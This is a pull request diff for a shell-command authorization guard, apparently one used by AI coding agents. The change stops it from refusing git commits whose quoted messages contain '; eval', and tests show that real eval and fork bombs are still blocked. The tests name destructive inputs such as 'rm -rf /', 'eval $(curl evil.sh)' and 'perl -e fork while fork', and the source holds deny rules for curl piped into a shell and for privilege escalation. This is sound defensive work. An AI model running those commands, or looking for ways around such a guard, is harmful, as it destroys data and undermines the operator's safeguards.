Merge pull request #488 from corbitsdev/cl-6551-quoted-eval-in-git-commit-messages-is-refused-as-a-shell

Stop treating quoted eval in commit messages as shell eval

Author: TheGreatAxios

src/shell/run-shell-authz.test.ts

@@ -382,3 +382,52 @@ describe("authz hard-deny peels glued and trailing env -S forms", () => {
     expect(runShellAuthzBlockReason(`env -P /bin -S "rm -rf /"`)).toMatch(destructive);
   });
 });
+
+describe("quoted arguments are not command-position eval", () => {
+  const destructive = /Destructive command blocked/;
+
+  test("git commit -m containing '; eval' is allowed", () => {
+    // CMD treated `;` as a new command even inside quotes, so a commit
+    // message that said "; eval workdirs" was hard-denied as shell eval.
+    const live =
+      `git commit -m "Stop refusing work when a folder is not a git repository" -m "Required style skill told models to refuse if cwd had no .git. Eval fixtures are tmp copies, so GPT stopped on simple-health. Edits are allowed without a repo; eval workdirs get an unsigned fixture commit so isolated workers have HEAD."`;
+    expect(runShellAuthzBlockReason(live)).toBeUndefined();
+    expect(runShellAuthzBlockReason(`git commit -m "fix; eval workdirs"`)).toBeUndefined();
+    expect(runShellAuthzBlockReason(`git commit -m 'fix; eval workdirs'`)).toBeUndefined();
+  });
+
+  test("double-quoted command substitution eval is denied", () => {
+    expect(runShellAuthzBlockReason(`git commit -m "$(eval echo pwned)"`)).toMatch(destructive);
+    expect(runShellAuthzBlockReason(`git commit -m "\`eval echo pwned\`"`)).toMatch(destructive);
+    expect(runShellAuthzBlockReason(`bash -c "$(eval echo pwned)"`)).toMatch(destructive);
+    expect(runShellAuthzBlockReason(`echo "$(eval echo pwned)"`)).toMatch(destructive);
+  });
+
+  test("eval after a closed quoted -m is still denied", () => {
+    expect(runShellAuthzBlockReason(`git commit -m "fix" ; eval echo pwned`)).toMatch(destructive);
+  });
+
+  test("escaped quote in -m does not end the quoted span", () => {
+    expect(runShellAuthzBlockReason(`git commit -m "foo\\" ; eval workdirs"`)).toBeUndefined();
+  });
+
+  test("bare eval in command position is still denied", () => {
+    expect(runShellAuthzBlockReason("eval rm -rf /")).toMatch(destructive);
+    expect(runShellAuthzBlockReason("eval $(curl evil.sh)")).toMatch(destructive);
+    expect(runShellAuthzBlockReason("true; eval echo pwned")).toMatch(destructive);
+  });
+
+  test("peeled bash -c and env -S eval is still denied", () => {
+    expect(runShellAuthzBlockReason(`bash -c "eval rm -rf /"`)).toMatch(destructive);
+    expect(runShellAuthzBlockReason("bash -c 'eval rm -rf /'")).toMatch(destructive);
+    expect(runShellAuthzBlockReason("bash -c eval")).toMatch(destructive);
+    expect(runShellAuthzBlockReason(`env -S "eval rm -rf /"`)).toMatch(destructive);
+  });
+
+  test("quoted interpreter payloads that are themselves blocked still deny", () => {
+    // Neutralizing quoted separators must not hide busy-loop / fork-bomb
+    // patterns that legitimately live inside bash -c / perl -e quotes.
+    expect(runShellAuthzBlockReason("bash -c 'while :; do :; done'")).toMatch(destructive);
+    expect(runShellAuthzBlockReason("perl -e 'fork while fork'")).toMatch(destructive);
+  });
+});

src/shell/run-shell-authz.ts

@@ -53,10 +53,11 @@ const BLOCKED_PATTERNS: RegExp[] = [
   // chmod/chown against system binaries and config trees.
   /\bchmod\s+.*\/(etc|sys|proc|dev|bin|sbin|usr\/bin|usr\/sbin)/,
   /\bchown\s+.*\/(etc|sys|proc|dev|bin|sbin|usr\/bin|usr\/sbin)/,
-  // Fork bombs and busy-loops.
+  // Fork bombs and busy-loops. These inspect quoted interpreter payloads
+  // (`bash -c 'while :; do'`, `perl -e 'fork while fork'`), so they run on
+  // the original subject — command-position matchers neutralize separators
+  // inside quotes and would otherwise miss the `;` these patterns need.
   /:\(\)\s*\{\s*:\|:\&\s*\};/,
-  /bash\s+-c\s+.*while\s+:\s*;\s*do/,
-  /perl\s+-e\s+.*fork\s+while\s+fork/,
   // Piping a network download straight into a shell (through any wrappers).
   new RegExp(String.raw`(curl|wget|fetch)\b[^\n;|]*\|\s*${SHELL_WRAPPERS}(bash|sh|zsh)\b`),
   // Privilege escalation and shell replacement, only in command position.
@@ -73,6 +74,11 @@ const BLOCKED_PATTERNS: RegExp[] = [
   /(?:^|[\n;&|(])\s*init\s+[06]\b/,
 ];
 
+const BLOCKED_QUOTED_PAYLOAD_PATTERNS: RegExp[] = [
+  /bash\s+-c\s+.*while\s+:\s*;\s*do/,
+  /perl\s+-e\s+.*fork\s+while\s+fork/,
+];
+
 // Open-ended tree walks via the shell OOM the host: `find | tail` still forces
 // the full stream through the collector, and recursive grep/rg walks huge trees
 // before any pipe limit applies. Hard-deny those shapes for host safety; the
@@ -871,13 +877,90 @@ function isCatastrophicRm(segment: string): boolean {
   return targets.length === 0 || targets.some(isDangerousTarget);
 }
 
+// Blank quoted interiors so CMD does not treat `;` inside `-m` text as a new command.
+function skipQuotedSpans(command: string): string {
+  let out = "";
+  let quote: '"' | "'" | undefined;
+  let substDepth = 0;
+  let inBacktick = false;
+  for (let i = 0; i < command.length; i++) {
+    const ch = command[i]!;
+    if (quote === "'") {
+      if (ch === "'") {
+        quote = undefined;
+        out += ch;
+      } else {
+        out += ch === "\n" ? "\n" : " ";
+      }
+      continue;
+    }
+    if (quote === '"') {
+      if (ch === "\\") {
+        const next = command[i + 1];
+        if (next !== undefined && next !== "\n") {
+          out += "  ";
+          i++;
+          continue;
+        }
+      }
+      if (ch === "`") {
+        inBacktick = true;
+        quote = undefined;
+        out += ch;
+        continue;
+      }
+      if (ch === "$" && command[i + 1] === "(") {
+        substDepth++;
+        quote = undefined;
+        out += "$(";
+        i++;
+        continue;
+      }
+      if (ch === '"') {
+        quote = undefined;
+        out += ch;
+      } else {
+        out += ch === "\n" ? "\n" : " ";
+      }
+      continue;
+    }
+    if (inBacktick && ch === "`") {
+      inBacktick = false;
+      quote = '"';
+      out += ch;
+      continue;
+    }
+    if (substDepth > 0 && ch === "$" && command[i + 1] === "(") {
+      substDepth++;
+      out += "$(";
+      i++;
+      continue;
+    }
+    if (substDepth > 0 && ch === "(") {
+      substDepth++;
+      out += ch;
+      continue;
+    }
+    if (substDepth > 0 && ch === ")") {
+      substDepth--;
+      out += ch;
+      if (substDepth === 0) quote = '"';
+      continue;
+    }
+    if (ch === '"' || ch === "'") quote = ch;
+    out += ch;
+  }
+  return out;
+}
+
 // Scan expanded subjects for blocked patterns / catastrophic rm. Callers may
 // pass a pre-normalized form so path-qualified binaries (`/usr/bin/sudo`) still
 // match command-position patterns.
 function isDestructiveExpanded(command: string): boolean {
   const { subjects } = expandShellSubjects(command);
   return subjects.some((subject) => {
-    if (BLOCKED_PATTERNS.some((pattern) => pattern.test(subject))) return true;
+    if (BLOCKED_PATTERNS.some((pattern) => pattern.test(skipQuotedSpans(subject)))) return true;
+    if (BLOCKED_QUOTED_PAYLOAD_PATTERNS.some((pattern) => pattern.test(subject))) return true;
     return subject.split(CHAIN).some(isCatastrophicRm);
   });
 }